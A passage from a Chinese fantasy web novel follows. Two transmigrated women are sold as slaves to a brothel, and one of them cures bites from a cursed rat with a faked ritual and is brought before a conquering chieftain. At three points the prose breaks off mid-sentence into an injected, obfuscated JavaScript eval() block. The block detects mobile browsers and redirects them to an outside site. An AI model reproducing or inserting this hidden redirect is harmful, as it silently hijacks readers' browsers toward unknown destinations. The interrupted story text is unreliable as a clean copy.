天井里二十几号人见惯不怪,表情麻木地任由耗子在周围逃窜。最终跑到角落,被一个黝黑的男人徒手抓住,拧断鼠头然后背过身去啃食。
“……”俞雅雅面如死灰,弯腰扶住石壁,干呕不止。
涂灵抬手替她拍背。
木栅栏外是熙攘街道,人头攒动,街对面也是贩卖人口的地点,一个身形肥胖的妇女看了一圈,不满意,甩着外八字走了过来。
“阿幼姐,这边女子多,前两天新来了几个干净的,无病无残疾,你瞧瞧。”
胖女人上衣下裳,头发拢成髻,插一支骨簪,站在栅栏前扫视。
“最近离巷不太平,我们摘月楼死了丫头,人手不够,今日得带两个回去。”
老板打开小门:“你挑中了哪一个?”
阿幼姐转动脖子,肥硕的两层双下巴像个磨盘,眼皮耷拉,抬手指俞雅雅:“她。”
老板亲自走进人堆里,揪住俞雅雅的衣裳,把她拎到阿幼姐面前。
“嗯,模样清秀,白白净净的,不像那些臭烘烘的罪奴。”
俞雅雅攒紧拳头忍受被当成货物挑剔,咬牙问:“离巷是什么地方?”
阿幼姐轻笑:“男女花钱寻欢作乐的地方。”
俞雅雅瞬间睁大眼:“打死我也不做妓女!”
阿幼姐冷冷啐了一口:“呸!你也不掂量自己几斤几两,我们离巷的姑娘都是丰腴圆润的美人,你瘦得像三天没吃虫子饿得找不到方向到处扑腾的病鸡!做娼妓都得倒贴钱!发什么梦呢! ”
她说着白一眼,扭头指向涂灵:“还有她,精气神不错,干活肯定好使。就这两个,我买下了。”
阿幼姐掏出钱币和老板交易,小卒用镣铐扣住涂灵和俞雅雅的双手,铁链递给阿幼姐,让她牵回家。
俞雅雅恼火,快要把牙齿咬碎:“当我们牲口吗?”
涂灵用力绷扯镣铐,心里计算待会儿逃跑的可能性。
“逃跑会被割鼻子哦。”阿幼姐轻飘飘瞥了她一眼,扭动臃肿的腰身,铁链搭在肩头,拽着她俩就往前走。
一名壮实的随从跟在后面以防奴婢窜逃。
拥挤的暗街比菜市场还热闹,每个区域货源集中,奴隶旁边是奇形怪状的小动物,全被拔掉了能伤人的牙齿和爪子。再往前贩卖青铜和玉石,还有武器和首饰,然后是粟米和小麦。
束悠城已经种不出庄稼了,这些粮食应该是从别的地方运来的。
“花纱夫人的亵衣,息女小姐的狐裘,价高者得,都别抢!”
百叶氏贵族男女的私物都流落到了黑市,不知玉奴军入城后他们下场如何,这些东西是他们自己拿出来卖,还是被洗劫了。
“涂灵你看。”俞雅雅盯着人群里过分高挑的异类,他们未着上衣,皮肤呈古铜色,肌肉厚实健壮,个个生得魁梧,模样也十分粗狂。
“玉奴人。”
“他们有两米吗?”
涂灵目测:“至少一米九五。”
俞雅雅啧道:“这么野性……瞧人家那身板,再看看束悠人的身板,抵御得住才怪。”
所谓离巷,与暗街不过一墙之隔,这片城中西北角的区域是三教九流聚集所在,离巷不止一条巷子,而是四通八达的烟柳地,淫楼娼馆林立,熏香扑鼻。
“你有没有听见什么声音?”俞雅雅嗓子干涩。
涂灵听见了,越往里走,白日宣淫的浪.叫与娇喘愈发肆无忌惮,有的小楼窗子大开,清瘦孱弱的小倌被高大威猛的玉奴女人拽到窗前,一掌掐住他的脖子,命令他卖力。
“我靠。”俞雅雅瞪大眼睛:“这里民风也太开放了吧……”
涂灵观察周遭房屋,大多是精巧的二层小木楼,其中却有一处气派华丽的庭院,闹中取静,别具一格。
“别瞧了。”阿幼姐回头瞥她二人:“那是离巷最高等的祥瑞居,只接待身份贵重的宾客。”
俞雅雅嗤笑嘀咕:“嫖客还分贵贱呢。”
阿幼姐听见了,慢悠悠道:“这世上只要有人聚在一块儿,那必然有高下之分。只不过世事无常,从前养尊处优的贵族男女,一朝城破,有的命丧黄泉,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951991|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有的被发卖到离巷,变成和我们一样低贱的娼妓,啧啧,谁又说得准呢?”
涂灵问:“打仗也不耽误你们做生意吗?”
阿幼姐哼道:“天塌下来也得吃饭,不吃饭就要饿肚子。再说束悠男人和玉奴男人除了大小有什么不一样?都把我们当乐子罢了。”
说话间拐过街角,前边一栋小楼前有个黑壮的女人正在殴打一个唇红齿白的少女,口中污言秽语极其难听。
“婊子养的小娼妇,你裤.裆里藏了多少钱币,被多少人干过?我男人给你钱还不够,你居然敢骗走他的金玉扳指?那是主君的赏赐,嘉奖他的英勇,你这张小嘴真会哄啊,不知死活的贱人,连这都敢要?!”
边上一个中等身量的胡须男堆起笑容赶忙护住少女:“夫人息怒,她知道错了,扳指也原物奉还,还请饶过她这次吧。”
黑壮女人竟揪住胡须男的领子将他拎起,双脚离地,然后用力一挥,把人丢到石阶下。
阿幼姐见状立即上去搀扶:“主司,没事吧。”
“没事,不要紧。”
黑壮女人还想继续施暴,这时一个玉奴男子从楼中出来:“差不多行了。”
“哥!”女人不忿:“我看你也被这些骚娘们儿迷昏了,竟然不帮我出气!”
“你还用得着我帮忙?主君说了,要遵守束悠城的规矩,与他们和平共处,你别闹出事端。”
女人怒哼一声,总算走了。
楼里的人等他们离开才敢出来。
“还看什么?”胡须男道:“把她抬进去,快找医师来瞧瞧。”
“是,主司。”
胡须男站起身拍拍衣裳,见涂灵和俞雅雅面生,问:“这是摘月楼新来的婢女?”
阿幼姐道:“是啊,刚去暗街买的。你说倒不倒霉,七日内死了两个丫头,莫不是耗子成精了?那伤口别提多恐怖,不等医师来她们就咽气了。”
主司眉头紧锁:“我不是提醒你们要多养几只猫吗,束悠城耗子多,保不齐就会咬人。”
“猫只喜欢待在姑娘房间,香喷喷的,还有零嘴吃。奴婢住在柴房旁,它们不爱去。再说这会儿集市上也买不到猫了。”
主司闻言脸色更差:“那就多买些耗子药,等离巷的母猫生了,养大些,送去奴婢的屋子,不能再死人了,传出去影响生意。”
阿幼姐担忧道:“城中不会闹鼠疫吧?”
主司目光凌厉:“呵,即便闹鼠疫,死的也该是那些玉奴野蛮人。”
阿幼姐赶紧提醒:“您这话可不能再说了。”
……
到摘月楼,阿幼姐打开镣铐,吩咐她们马上干活。
“你去砍柴,有多少砍多少,然后给厨房帮忙打杂。你跟着伙计去后街刷恭桶,他会教你怎么用最少的水刷干净。”
俞雅雅鼻翼旁的面皮抽动:“恭桶?你居然让我洗那玩意儿?!”
阿幼姐奇怪地打量她:“奴婢干的就是这些粗活脏活,否则我花钱买你回来供着当祖宗?”
俞雅雅忍无可忍:“我不干!”
阿幼姐略微抬起眉梢,伙计突然来到跟前,一把揪住俞雅雅的头发,两个耳光狠狠扇了下去。
10.束悠城03
为了让新来的奴婢老实听话,阿幼姐命伙计先把涂灵和俞雅雅抽一顿鞭子。
涂灵想也没想,一个侧踹腿过去,将那伙计踢得摔到地上起不来,嘴巴吐出血丝,牙都掉了两颗。
阿幼姐勃然大怒,用手指住她:“我警告你,想受劓刑尽管闹!不愿在此为婢,明日便送你们去做人牲!”
打手们抄着木棍围了过来,他们虽无法术但是人多,涂灵迅速做出判断,赤手空拳难以抵挡,冲动不得,只能先吃下这哑巴亏。
俞雅雅也认清现状,逼迫自己忍耐。
“从今往后洗恭桶和劈柴的活儿由你们二人包了,轮流交替,明日换她去劈柴,你来刷恭桶,不准偷懒。”
阿幼姐交代完转身走了。
涂灵和俞雅雅分开去干活儿,木柴砍了一下午,恭桶也刷了一下午,周围有人看守,一刻也不能休息。
傍晚吃面条,俞雅雅狼吞虎咽,同屋其他几个婢女都不吭声,仿佛人偶般低头安静进食。
“这破妓院……”俞雅雅打个嗝,往盆里捞了一大筷子面条:“唯一还有点儿人性的地方就是吃饭管饱。”
领头的婢女拿出两身干净衣裳递给她们:“阿幼姐让你们换上。”
俞雅雅拎起来看:“啥,统一制服啊?”
“先前死的那两个丫头穿的。”
俞雅雅闻言脸色突变:“不是吧,让我们穿死人的衣服?”
涂灵问:“她们是怎么死的?”
俞雅雅道:“听肥女人说,好像被老鼠咬了?什么老鼠这么凶猛,咬一口就死人?”
婢女们面面相觑,逐渐露出惊恐的表情。
“不、不止咬一口而已。”某个怯生生的丫头说:“阿碧就睡我边上,那天夜里听见窸窸窣窣的动静,我当她在磨牙,还埋怨了两句。可是那声音越来越渗人,我爬起来点油灯细瞧,原来一只耗子正在啃她的小腿,都已经啃到了骨头!”
回忆起当时可怕的场景,众人面无血色。
涂灵眉心微蹙:“她那时已经死了吗?”
“没有!还在睡!听见大家的尖叫她才醒过来!”
“不会吧……”俞雅雅狐疑:“老鼠都咬到了骨头,她没知觉?”
“谁知道呢,怪就怪在这儿,阿碧平日很怕痛的,可是被耗子啃咬的时候似乎没有半分察觉,直到我们把那畜生赶出去,都惊动了阿幼姐,她才开始痛得打滚儿……”
涂灵想了想:“那老鼠长什么样?”
“除了眼睛是红的,与普通老鼠没有任何差别!阿房也是这么死的,伤口在半个时辰内飞快腐烂,蔓延全身,脓水直淌!”
俞雅雅吓得跳起身:“不穿这衣裳!”
“放心,这不是她们死时穿的那件。”
“涂灵……”俞雅雅缩到她身旁:“该不会又是什么灵异邪祟吧?”
涂灵想了想:“晚上当心些,睡觉关紧门窗,把缝隙都堵上,今晚我守夜。”
俞雅雅努了努嘴欲言又止,知道她砍了半日柴肯定很累,犹豫之后说:“下半夜换我守,到时你叫醒我。”
涂灵“嗯”一声。
长夜漫漫,婢女们躺在大通铺上,月光从窗户纸透进来,冷幽的蓝色。
俞雅雅睡在涂灵身旁规律地打呼。
窗外隐约传来男女欢好的浮浪之声,小楼灯火阑珊。
涂灵背靠墙壁盘腿而坐,终于有了一点闲暇时间,她准备进入意念之海联系宋建国,突然一个黑影从窗口一闪而过。
涂灵瞬间警觉,抄起砍柴的斧子悄声下床,走到窗边。
黑影又出现在窗子一角,像心怀不轨的邪物,缓缓探头,隔着窗户纸窥探屋内众人,伺机而动。
涂灵屏住呼吸攥紧斧头,猛地拉开窗户,对准黑影用力砍下去!
肥硕的耗子反应敏捷,一跃而下跳进院子,冲着涂灵暴怒龇牙,猩红的眼睛像供奉神灵时燃烧的线香。
涂灵当即提斧去追,那耗子闪得飞快,一溜烟儿窜入黑暗中,飞檐走壁般爬上矮墙,逃离了后院。
原来它们也怕人,只能趁人睡觉或不备的时候偷偷来犯。
涂灵搁下斧头把窗户关严,回到床上盘腿打坐,掐清心诀,聚精凝神,去往意念之海。
镜子般的海面与上次没什么不同,像是脱离凡尘的永恒死地。
感应到她的意识,小宋哥也出现了。
“这两天发生一些变故,我们被卖到黑市,大家被迫分散了。”涂灵第一时间向他解释,然后问:“昆崖没有为难你吧?”
宋建国摇头:“他只是有点焦躁,我知道你们肯定遇到了麻烦。”
涂灵见他这么信任自己,心里愈发笃定要把他救出来。
“你有没有听过一种红眼睛的老鼠,被它咬的人没有痛觉,但会在半个时辰后腐烂而死。”
宋建国一时不语,闭上眼睛凝思片刻,忽然有了答案。
“应该是被人用邪术培育的红瞳鼠精,我在书中看过,方法并不难,但是需要很多老鼠才能培育出一只。”
涂灵琢磨:“离巷的婢女能得罪什么人,竟然用这种邪物害死她们?”
宋建国道:“或许始作俑者并非要谋害婢女,只是道行太浅,鼠精不受控制了。”
涂灵点头赞同:“你可有化解的法子?”
宋建国笑了笑:“方法其实很简单,只需在半个时辰内用蜂蜜涂抹创口,让猫把腐肉吃干净,命就算保住了。”
“猫?”涂灵也不禁轻笑:“果然是天敌。”接着又问:“那鼠精该怎么除掉?”
“它怕猫血。”
涂灵明白了。
“你这些天待在山洞里,吃什么呢?”她忽然想到这个问题。
宋建国说:“昆崖指导我修炼,日夜不停,真炁运行时并无饥饿的感觉。”
涂灵挑起眉毛:“他居然教你修炼?难道不担心你学成之后跑了吗?”
宋建国稍显犹豫:“他说,倘若你不回来,便要收我做关门弟子。”
涂灵见他神色欲言又止,顿时猜到其中曲折:“原来昆崖给自己留了一手,如果我违背信约溜之大吉,他便放你下山找我复仇。有了你这个弟子,昆崖的香火就不会断,他还有东山再起的一天。 ”
宋建国轻轻笑了:“猜的不错。”
涂灵冷道:“让他死了这条心,我说过救你,一定会做到。”
“好。”
接下来两天都在摘月楼的苦活儿中度过,俞雅雅适应很快,白天太累,夜里倒头就睡。离巷夜夜笙歌,每家妓馆门庭若市。
听婢女
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957219|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们说,玉奴族的女人生得黑壮粗野,有的还长胡子,脾气堪比夜叉。离巷的小倌弱不禁风,对她们来说倒是新鲜。而玉奴族的男人进了离巷都快丢了魂,软玉温香嘤嘤细语,哄得他们晕头转向,身上所有财物都交代在这儿。因此常有拈酸吃醋的玉奴人前来闹事,给离巷增添不少乐子。
入夜,摘月楼的姑娘笑声悦耳,直到月上中天才熄灯静下。
众人正在熟睡中,忽然一声尖叫如惊雷乍起,涂灵倏地睁开眼坐起身,胸膛突突直跳,心里冒出四个字:终于来了。
小楼灯烛点亮,阿幼姐披着衣裳急步闯入丝浮姑娘的房间,见她衣不蔽体缩在床角,旁边的玉奴男子看着自己右脚被啃掉的小拇指,面色愕然又迷茫。
“好大一只老鼠!”丝浮姑娘声音颤抖:“他,他会不会像阿碧和阿房那样……”
阿幼姐看她就要说漏嘴,厉声呵斥:“乱讲什么!”接着勉强勾起嘴角,想劝男子离开:“该死的耗子,怎么把您的脚趾都咬掉了!您快些去医馆包扎吧。”
丝浮也反应过来,不能让他死在这儿,于是推了推:“是啊,离巷外边就有医馆,你快去吧,我瞧着害怕。”
男子却满不在乎,索性躺回床榻,似乎要在女人面前表现他的无谓和从容:“怕什么,根本不疼,你们去把医师请来即可,不用慌张。”
阿幼姐暗暗咬牙,心里骂这莽夫蠢货,嘴上却不得不哄着:“这一来一回耽误功夫,再说女人家见不得血,您怜惜怜惜她吧。”
丝浮抽泣道:“快走呀,你不痛,奴家的心可要痛死了!”
玉奴男子哈哈大笑,手掌往她胸口捏了一把:“行啊,小东西,明日我再来收拾你!”
阿幼姐松口气,当即吩咐两个下人:“扶客官出门!”
男子下床穿鞋,刚要起身,谁知脚趾剧痛侵袭,他脸色突变,五官逐渐扭曲,倒在地上抱住脚惨叫:“啊!!!”
阿幼姐瞪大眼睛:“还等着干什么,把他抬出去!不能死在摘月楼!”
打手听命上前,想抓住他的胳膊和腿,奈何玉奴人过于高大,四肢魁梧,且又在痛苦中张牙舞爪,根本没办法近身。
“废物!多找几个人上来!”
此时涂灵已经赶到二楼,看着眼前的情景,知道这是最好的机会,她不紧不慢地开口:“我有办法救他。”
阿幼姐闻声回头:“你?呵,一个奴婢凑什么热闹?还不滚出去!”
涂灵置若罔闻,自顾走到男子身旁蹲下,扯掉他的鞋子,露出已经开始腐烂的伤口。
“现在是脚趾,待会儿他整个右脚都会腐烂坏死,然后是整条腿。”涂灵抬眸瞥着阿幼姐:“玉奴人死在摘月楼,将带来无穷无尽的麻烦,说不定他们认为你蓄意谋害。”
“我怎么可能谋害他!你、你究竟有什么法子?!”
涂灵单手搭着膝盖,垂眸瞥着那块烂肉:“这是红瞳鼠精咬的,邪祟之物,得开坛做法为他治伤。”
阿幼姐愕然:“你要开坛做法?!”
“没错。”动静越大越好。
“深更半夜我上哪儿给你找法器布置道场?!”
涂灵三分真七分假:“香烛总有吧?摆在东南角,再找一只猫,一罐蜂蜜,把窗户全部打开,让月光进来照着他的腿!”
11.束悠城04
阿幼姐将信将疑,见她神情笃定,俨然成竹在胸的架势,只能死马当活马医,吩咐下人照办。
屋外走廊围满了人,俞雅雅挤在墙边踮脚往里张望,见涂灵掐诀念咒,口中嘟嘟囔囔听不清念的什么,分明在学玄松做法!
她没有法术,但装得煞有介事,将在场所有人唬得一愣一愣。
“通天感应掌风大道昆崖灵君显灵!赐吾神通,斩杀邪祟!”
涂灵面不改色心不跳,跪拜昆崖后拿起蜂蜜罐子来到玉奴人身前,他的半个脚掌已经腐烂。
“把他按住。”
阿幼姐单手叉腰:“对,多来几个人,把他按实了!”
蜂蜜抹到渗出绿色脓水的腐肉上,猫儿凑近,小鼻子嗅了嗅,舌头舔一舔,随后大口吃起肉来。
“啊!!”玉奴人痛得翻江倒海,身上压着六七个打手,用尽浑身力气压制。
涂灵手捧香炉绕着他念咒,当然咒语都是瞎编的。
待猫儿将那半脚烂肉啃干净,血肉呈现新鲜的颜色,玉奴人已经痛得昏死过去。
“现在可以送他去医馆包扎,命保住了。”
“果真?”阿幼姐紧张地上前试探口鼻,气息尚在:“快,抬去医馆!”
俞雅雅带头喊道:“好样的!”
摘月楼里里外外鼓掌欢呼起来。
阿幼姐重新打量审视:“你究竟什么来历,竟懂这些道门法术?”
涂灵说:“我们是昆崖灵君座下信徒,被奸人所害才卖入黑市为奴。”
“昆崖不是邪祟吗?!”有人开口。
“那都是误传。”涂灵斩钉截铁:“灵君得知束悠城受干旱之苦,命我等前来勘察详情。”
“这么说你还会呼风唤雨?!”姑娘们都惊呼出声。
涂灵向阿幼姐道:“只要放我们去见新城主,解束悠城之旱,日后论功行赏,摘月楼定在其列。”
阿幼姐心里飞快琢磨,攥着这么个人在手里,等于攥着一个法宝,说不定还有许多用处呢。
“呵,城主岂是随便能见的,我还想见呢。”
俞雅雅来到涂灵身后,悄声嘀咕:“她不想放我们走,怎么办?”
涂灵凝神思忖,没有回话。
阿幼姐指挥:“行了,把这儿收拾干净,大家都去睡吧,有什么事明天再说。”
正当此时一个高大的玉奴人出现在走廊:“刚才谁在做法?”
阿幼姐迎上前:“客官,我们已经打烊了……”
“是你?跟我走一趟。”
阿幼姐大惊失色,赶忙撇清关系,指着涂灵:“她!方才她在做法!”
玉奴人随之转移目标:“你会治伤?”
涂灵点头:“会。”
玉奴人眯起双眼:“伤者身份尊贵,若治不好,你得给他陪葬。”
涂灵抬了抬下巴:“请带路。”
那人见她爽快,倒冷笑出声:“走吧。”
“涂灵……”俞雅雅紧张地跟在身后:“我怎么办?在这儿等你?”
“不行,你得跟着我。”她小声道:“红瞳鼠精的事藏不住了,你留在这里很危险。”
俞雅雅不解:“为什么?”
“记得管理离巷的那个大胡子吗?”
“主司?”
“嗯。”涂灵道:“我马上就要拆穿红瞳鼠精的事,玉奴人很快会查到他头上,到时候整个离巷都会把我们当做眼中钉,你留在这里不安全。”
俞雅雅张着嘴,愣怔好几秒反应过来:“鼠精是主司放的?他想要玉奴人死?!”
“对,你跟紧我,待会儿就在祥瑞居外面等,别乱跑。”
“祥瑞居……”
涂灵瞥着前面的玉奴人:“他说伤患身份尊贵,那一定是在祥瑞居。”
“我明白了。”俞雅雅拍她肩膀:“你自己当心。”
“好。”
离开摘月楼,玉奴男子果然将涂灵带到离巷最高等的妓馆,祥瑞居。
当她进入宽敞的房间,已经有医师跪在地上,被打得鼻青脸肿。一个佩刀的侍卫焦急守在床前。
榻上的卷发青年戴着宝石耳坠,衣衫大敞,侧腰胯部血肉模糊,骨头都露了出来。他大手抓住床木架,竟然强忍痛感没喊出声。
“他是主君的亲弟弟格里鹰。”侍卫眼中布满血丝,警告涂灵:“他死,我们所有人都会被扒皮抽筋!”
“知道了。”涂灵故技重施,让他们去准备蜂蜜和猫。
“格里鹰,撑住啊!你是天上的雄鹰,不能轻易倒下!”
“肯定有人蓄意谋害,我要杀了那个淫.妇!”
涂灵见这两个侍卫如此冲动,指不定会做出什么过激的行为,于是开口:“此伤与人无关,是红瞳鼠精所为,这种精怪咬人时不会产生痛觉,但伤口会迅速腐烂,半个时辰内就会全身化脓而死。”
“什么?!”侍卫没想到如此血腥惨烈,一时呆住。
格里鹰嘴唇惨白,抖着下颚说:“给,给我一个痛快……”
“不行啊……”
涂灵上前往伤口涂抹蜂蜜:“放心,我有山神之力庇佑,不会让他死的。你们用布把他的嘴塞住,以免待会儿痛得咬掉舌头。”
祥瑞居的猫儿也有人肉吃了。
待腐肉清理干净,涂灵道:“医师过来止血包扎。”
跪在地上的医者原以为今晚死定了,却不料峰回路转,在刀尖捡回一条命。
格里鹰熬过所有步骤,没有痛晕过去。
包扎完,他躺在榻上浑身湿汗,胸膛不断起伏。
“你,刚才说,有山神之力,是什么意思?”他望着涂灵。
“我在山神昆崖灵君座下修行,受神力恩泽,所以对邪祟之物略知一二。”
侍卫当即询问:“咬伤我们殿下的邪祟究竟是什么东西!”
涂灵做出世外高人的冷静姿态;“是被人用邪术培育的红瞳鼠精,摘月楼两个婢女都是被它咬死的。”
侍卫闻言面色严峻,看向格里鹰,得到应许,当即出去召集人手搜查离巷。
“你可有对付这精怪的办法?”
“准备一些猫血,下回见着它,直接泼上去即可。”
侍卫总算稍微松一口气:“殿下,你休息吧。”
格里鹰已然昏昏欲睡:“让、让她留下,明日随我回去见哥哥……”
“是。”
涂灵被安排住在偏房,她请侍卫把俞雅雅也带了进来。
“怎么样?”
“主司跑了。”俞雅雅兴奋又害怕:“果然是他!玉奴军的护卫队过去抓人,他好像听见风声提前跑了!”
涂灵说:“这人痛恨玉奴族,想要复仇也算情有可原,可惜学艺不精,白白害死两个婢女,竟然还不收手,任由鼠精到处作乱。”
俞雅雅说:“婢女都是买来的,在他们眼里奴隶不算人,反正我不会同情主司,如果他被玉奴人抓住处死,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960777|160379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不能怪在我们头上。”
涂灵说:“格里鹰明天会带我们去见玉奴的主君。”
“啊?然后呢?你想好对策了吗?”
“嗯。”涂灵点头:“睡吧,养足精神,明天还不知道会发生什么。”
“我相信你,涂灵。”俞雅雅躺在干净整洁的床铺里,看着洒满角落的月光:“这一路上要是没有你,我可能早就熬不下去了。真不敢想象这些日子怎么过来的,我只是不小心碰了碰鼠标就被发配到这个野蛮的地方,吃的苦头超过前面十九年……你不知道,我在家什么活都不用干,我爸小时候过得很苦,十五六岁就外出打拼了。我出生后他忽然走大运飞黄腾达,家里经济一下好起来,他说绝不让自己孩子受一点点苦,就算把我宠成废人也没关系,反正他会养我一辈子……我妈说我在家就是玉皇大帝……要是他们知道我变成奴隶,被人欺负,在妓院劈柴洗痰盂……他们肯定会心疼死的……”
俞雅雅说着忍不住抽噎起来:“不过好在我还活着,好在有你。”
她转头去看涂灵,想抱团取暖,可谁知涂灵这个小王八蛋早就已经睡着了。
次日,护卫队抬着格里鹰回城主府邸厌桑台,涂灵和俞雅雅随行走在队伍里。
街上热闹非凡,人人都在讨论束悠城与玉奴族的联姻。婚期将至,各方来贺,联盟军,使团,商贾,百戏人,江湖术士,异域舞姬,三教九流汇集于此。
“哇,杂技盛会么?”俞雅雅呆望着满街能人异士,目不暇接。
涂灵看见一个女大力士充当底座,手掌托起一根粗长木竿,竿上横着一根长木,就像十字架,四五名伎人顺竿而上,爬至横木表演倒立或悬挂。
“好厉害啊。”俞雅雅拍手称赞:“可惜我没钱,唉,想捧场也没法子!”
“看前边。”涂灵发现了更惊人的表演。
“那是什么?”格里鹰也示意护卫队停下来观望。
侍卫说:“惊奇班子,号称九州之最。”
俞雅雅脸上的笑意很快变得僵硬,不由自主闪到涂灵背后,探出脑袋偷偷地看。
这个班子表演的杂耍不算惊奇,但是表演者都是天残地缺奇形怪状的畸形人!
比如连体龙凤胎兄妹,比如关节畸形四肢往后,仿佛搭拱桥般撑地行走的怪物;比如失去四肢只剩躯干的肉陀螺;比如三条腿三只胳膊的蜘蛛人……还有一个非常眼熟的智障侏儒。
“蛮蛮!”俞雅雅惊讶地拉扯涂灵的衣裳:“是蛮蛮!”
涂灵看见了。
蛮蛮捧托盘接收打赏,她脖子套着铁链,被班主牵住,收完赏钱大力拽过去,狠抽了她几鞭子:“动作利索点儿!磨磨蹭蹭,不知死活!”
蛮蛮疼得瑟缩不已,怯生生瞥着班主,眼泪直掉。
格里鹰道:“走吧。”
队伍继续前行,这时蛮蛮看见了人群之外的涂灵,惊喜大喊:“师姑!师姑!”
她张开双臂乐呵呵朝着涂灵的方向奔去,可惜脖子被铁链拉扯,班主的鞭子又抽下来:“做什么?!看我不打死你!”
蛮蛮边哭边躲:“师姑……是我呀……”
俞雅雅纠结:“要不要救她?”
这时侍卫却催促警告:“喂,快点跟上,不要东张西望。”
涂灵说:“先不管她,办正事要紧。”
俞雅雅回头看着蛮蛮挨打的样子,怪不是滋味,又看了看涂灵冷淡的态度,心下叹气,她狠起来也真够狠的。
12.束悠城05
护卫队穿过城中央,慢慢走入地势最高的厌桑台。
主君格里真已经得知弟弟的伤势,先惩罚侍卫:“把他们两个拉下去,各五十鞭子。”
格里鹰求情:“不,不关他们的事。”
格里真态度强硬:“我早就说过,不许你去离巷鬼混,他们既然劝不住你,那就必须挨鞭子。”
格里鹰担心昨夜服侍他的姑娘受牵连:“希望你不要再迁怒别人了。”
格里真笑起来,略带嘲讽:“我的好弟弟,你继承了母亲的善良和慈悲,她一直遗憾没生个女儿,其实有你也差不多,不是吗?”
格里鹰对此并无羞恼之意,继续向哥哥举荐涂灵:“这位正是昨晚救我性命的仙姑。”
涂灵领着俞雅雅上前行礼:“主君,我们出自昆崖灵君门下,特意前来解束悠城久旱之困。”
大殿上隐约发出嗤嗤的偷笑。
“哦,是吗?”格里真指着殿侧广袖翩然的道人:“他们都是来为束悠城求雨的。”
涂灵瞥过去。
俞雅雅扯起嘴角:“不会吧……”
格里真大手一挥:“本君与百叶氏后日大婚,到时看你们各显神通了。”
说完起身就走,宽大的长袍几乎拖在地上,带着一股风。
俞雅雅无语:“把我们当表演嘉宾?”
格里鹰说:“二位就住在我的偏殿吧。”
涂灵点头道:“好,多谢。”
几个道人投来审视敌对的目光,俞雅雅瞪了回去。
格里鹰安排的房间十分雅致,还让人送来一些衣物和首饰,还有水果和点心。
俞雅雅立刻换上新裙子,坐在桌前大口吃起来:“总算像个人样了!你不吃吗?”
“我出去一趟。”
“去哪儿?”
涂灵说:“你待会儿找人要一些木材和刀具,等我回来给昆崖做牌位。 ”
俞雅雅点头:“行,包在我身上。”
涂灵前往正殿探视格里鹰,顺便请求外出:“我想去集市置办一些法器。”
格里鹰对她十分尊重,立即让人准备钱币,给她一块可以出入厌桑台的令牌,还派了一名侍卫做随从。
涂灵直接回到暗街,很快就在商贩手中找到玄松的那些法器,刘老三果然一并出手了。
“卖东西的老头你还见过吗?”
“见过。”老板说:“他手里还有一头黑毛驴,几只鸟蛋,几条蛇皮,到处寻买家,说得玄乎其神,可是没人信啊。”
涂灵:“我信,下回你见着他替我把人留住,但别提我的信息。”
“明白明白,我们懂规矩,从来不说顾客的身份。”
买完东西,涂灵顺道去奴隶市场,找到买卖她和俞雅雅的人贩子,让侍卫把他暴打了一顿。
返回厌桑台的路上她问:“你知道惊奇班子住在什么地方?”
侍卫:“听说借住在城东废弃的祠堂,那个班子都是畸形人,旅店担心吓到顾客,所以不肯让他们入住。”
涂灵点点头。
天色已暗,她和俞雅雅一起做好牌位,等到夜色更深一些,她拿上令牌,怀揣三清铃,提灯再次外出。
城东祠堂并不难找,涂灵仿佛一缕幽魂,悄无声息绕着祠堂外墙观察打量,最后来到后院,找几块石头叠起,翻墙而上。
后院墙边摆放几只大笼子,班主居然把畸形人关在笼子里,牲口一般,脖子还套着铁链。
涂灵看见了蛮蛮,从怀里掏出三清铃,轻轻摇动。
正在熟睡中的蛮蛮听见铃声登时惊醒,左右张望,仰头看见趴在墙上的涂灵,高兴得跳起来。
涂灵朝她招手,做出勒断铁链、撞开笼子的动作。
蛮蛮看懂了,但是忽然想起什么,脸色沉下,扭过身子不予理睬。
涂灵摇三清铃,她依旧没反应。
什么意思?
涂灵观察周围环境,确定无人看守,于是跳进后院,来到笼子前蹲下。
“喂。”她捡起一根枯枝,从笼子空隙伸进去戳蛮蛮:“干嘛呢?”
“哼。”
“哼什么?”
“你、你看见我,不理我。”
“当时人多,不好理你,现在过来带你走。”涂灵又戳戳她:“走不走?”
“哼!”
涂灵心下轻叹,不经意往旁边一瞥,顿时吓一大跳,所有畸形人都醒了,一瞬不瞬地看着她。
“……”
离最近的连体兄妹开口:“没有班主的钥匙,走不掉的。”
“你是她什么人?”
涂灵见他们没有告密的意思,便答:“我是她师姑。”
“你怎么会把她卖到惊奇班子这种活地狱?”
“不是我卖的。”
说完迎来质疑的目光。
涂灵想了想,问:“难道你们都是被卖给班主的?”
